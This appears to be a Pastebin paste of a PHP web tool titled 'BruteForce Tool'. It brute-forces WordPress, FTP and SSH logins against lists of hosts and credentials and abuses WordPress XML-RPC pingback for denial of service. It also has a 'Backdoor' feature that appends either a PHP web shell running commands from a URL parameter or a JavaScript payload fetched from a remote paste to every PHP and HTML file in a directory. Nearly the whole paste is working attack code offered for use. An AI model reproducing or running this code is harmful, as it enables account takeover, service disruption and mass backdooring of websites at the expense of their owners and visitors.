Advertisement
Guest User

Untitled

a guest
Feb 15th, 2018
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.02 KB | None | 0 0
  1. <style type="text/css">
  2. textarea { resize: none; }
  3. </style>
  4. <body text='white' bgcolor='#000000'>
  5. <title>BruteForce</title>
  6. <p align='center' dir='ltr'><font face='Gigi' size='6'>*** BruteForce Tool ***</font></p>
  7. <form method='POST'>
  8. <center>
  9. <p dir='ltr'>
  10. <textarea rows="2" cols="40" name="ip"></textarea><br><br>
  11. <input type='submit' value='Start !!!' name='start'><br><br/>
  12. <input name="myradio" value="1" type="radio"> Wordpress</div>
  13. <input name="myradio" value="2" type="radio"> FTP</div>
  14. <input name="myradio" value="3" type="radio"> SSH</div>
  15. <input name="myradio" value="4" type="radio"> XMLRPC/DOS</div><br/><br/>
  16. <p align='center' dir='ltr'><font face='Gigi' size='5'>Backdoor</font></p>
  17. <input type='text' placeholder="Directory" name='dir'>
  18. <select name="case">
  19. <option value="js">JS Backdoor</option>
  20. <option value="php">PHP Backdoor</option>
  21. </select>
  22. <input type='submit' value='Upload' name='up'><br/><br/>
  23. <form method="post" enctype="multipart/form-data">
  24. <input type="file" id="inputfile" name="inputfile">
  25. <input type="submit" name="back" value="Click To Upload"><br/><br/>
  26. </form>
  27. <div style='float: left; margin-left: 10px; border: dashed 1pt; background: black; color: white;'>
  28. <textarea cols='40' rows='30' name='username'>Username</textarea></div>
  29. <div style='float: right; margin-right: 10px; border: dashed 1pt; background: black; color: white;'>
  30. <textarea cols='40' rows='30' name='password'>Password</textarea></div>
  31. <font face='Verdana' size='1'>[-] RESULT [-]</font>
  32. </form>
  33.  
  34. <?php
  35.  
  36. @set_time_limit(0);
  37. $ip = explode("
  38. ", $_POST['ip']);
  39. $username = explode("
  40. ", $_POST['username']); // Mass
  41. $password = explode("
  42. ", $_POST['password']);
  43.  
  44.  
  45. function encdir($dir, $code) {
  46. $files = array_diff(scandir($dir), array('.', '..'));
  47. foreach ($files as $filemine){
  48. if(is_dir($dir.'\\'.$filemine)){
  49. encdir($dir.'\\'.$filemine);
  50. }else{
  51. $a = stripos(basename($dir.'/'.$filemine), 'php');
  52. $b = stripos(basename($dir.'/'.$filemine), 'html');
  53. if ($a !== false || $b !== false) {
  54. file_put_contents($dir.'/'.$filemine, $code, FILE_APPEND);
  55. echo "<dir='ltr'><font face='Tahoma' size='2'><font color='#008000'><br/><br/>".$dir.'/'.$filemine.'<br/></font>';
  56. }
  57. }
  58. }
  59. }
  60.  
  61. function bruteftp($connect, $ip, $user, $pass) {
  62. $connect = ftp_connect($ip) or die("Error");
  63. if (ftp_login($connect, $user, $pass)) {
  64. echo "<p dir='ltr'><font face='Tahoma' size='2'>Cracked :
  65. <font color='#008000'>$user</font>:<font color='#008000'>$pass</font>@<font color='#008000'>$ip</font></font></p>";
  66. }
  67. }
  68.  
  69.  
  70. function xmlrpc($target, $url, $base){
  71. $ch = curl_init();
  72. curl_setopt($ch, CURLOPT_URL, $url);
  73. curl_setopt($ch, CURLOPT_USERAGENT, "Googlebot/2.1 (+http://www.google.com/bot.html)");
  74. curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/xml'));
  75. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  76. curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  77. curl_setopt($ch, CURLOPT_POST, 1);
  78. curl_setopt($ch, CURLOPT_POSTFIELDS,"<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>$target</string></value></param><param><value><string>$base</string></value></param></params></methodCall>");
  79. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  80. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  81. $data = curl_exec($ch);
  82. }
  83.  
  84. $brute = "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>$user</string></value></param><param><value><string>$pass</string></value></param></params></methodCall>";
  85.  
  86.  
  87. function bruteword($ip, $user, $pass){
  88. $curl = curl_init();
  89. curl_setopt($curl, CURLOPT_URL, $ip.'/wp-login.php');
  90. curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
  91. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  92. curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
  93. curl_setopt($curl, CURLOPT_POST, true);
  94. curl_setopt($curl, CURLOPT_POSTFIELDS, "log=$user&pwd=$pass&wp-submit=Login&redirect_to=$ip/wp-admin/&testcookie=1");
  95. $exec = curl_exec($curl);
  96. $http = curl_getinfo($curl, CURLINFO_HTTP_CODE);
  97. if($http == 302 && preg_match("//",$result) || eregi('upload.php',$brute) ) {
  98. echo "<br/><p dir='ltr'><font face='Tahoma' size='2'>Cracked :
  99. <font color='#008000'>$user</font>:<font color='#008000'>$pass</font>@<font color='#008000'>$ip</font></font></p>";
  100. break;
  101. } else {
  102. echo "<br/><font color='red'>Failed</font><br>";
  103. }
  104. curl_close($curl);
  105. }
  106.  
  107. function brutessh($ip, $user, $pass){
  108. $ssh = @ssh2_connect($ip, 22);
  109. $auth = @ssh2_auth_password($ssh, $user, $pass);
  110. if($auth){
  111. echo "<br/><p dir='ltr'><font face='Tahoma' size='2'>Cracked :
  112. <font color='#008000'>$user</font>:<font color='#008000'>$pass</font>@<font color='#008000'>$ip</font></font></p>";
  113. }
  114. }
  115.  
  116. if (isset($_POST['start'])) {
  117. switch ($_POST['myradio']){
  118. case 1:
  119. foreach ($ip as $host) {
  120. foreach ($username as $user) {
  121. foreach ($password as $pass) {
  122. bruteword($host, $user, $pass);
  123. }
  124. }
  125. }
  126. break;
  127. case 2:
  128. foreach ($ip as $host) {
  129. foreach ($username as $user) {
  130. foreach ($password as $pass) {
  131. bruteftp($connect, $host, $user, $pass);
  132. }
  133. }
  134. }
  135. break;
  136. case 3:
  137. foreach ($ip as $host) {
  138. foreach ($username as $user) {
  139. foreach ($password as $pass) {
  140. brutessh($ip, $user, $pass);
  141. }
  142. }
  143. }
  144. break;
  145. case 4:
  146. foreach ($ip as $host) {
  147. foreach ($username as $user) {
  148. foreach ($password as $pass) {
  149. xmlrpc($host, $user, $pass);
  150. }
  151. }
  152. }
  153. break;
  154. }
  155. }
  156.  
  157. if(isset($_POST['back'])){
  158. if($_POST['case'] == 'js') {
  159. $code = file_get_contents('http://pastebin.com/raw/NrjQtBrn');
  160. encdir($_POST['dir'], $code);
  161. }elseif($_POST['case'] == 'php') {
  162. $shell = '<?php system($_GET["com"]); ?>';
  163. encdir($_POST['dir'], $shell);
  164. }
  165. }
  166.  
  167. echo "<p><font face='Verdana' size='1'>
  168. +------------------------------------------------------------------------------------------------------------+</font></p>
  169. <p><font face='Verdana' size='1'>Rec0ded by : <a>Dante & Dr.L0v3</a></font></p>
  170. </form>";
  171.  
  172. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement